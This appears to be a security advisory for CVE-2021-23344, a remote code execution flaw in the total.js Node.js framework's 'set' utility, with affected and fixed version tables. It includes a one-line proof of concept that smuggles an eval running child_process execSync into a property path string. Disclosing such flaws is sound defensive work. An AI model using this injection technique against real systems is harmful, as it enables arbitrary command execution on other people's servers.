critical9.8
CVE-2021-23344
total.js Remote Code Execution Vulnerability
Impact
total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application. Affected versions of this package are vulnerable to Remote Code Execution (RCE) via `set`. ### PoC ```js // To be run in a nodejs console: require('total.js/utils').set({}, 'a;eval(`require("child_process")\\x2eexecSync("touch pwned")`);//') ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | total.js | < 3.4.7 | 3.4.8 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Totaljs | Total.Js | before 3.4.8 |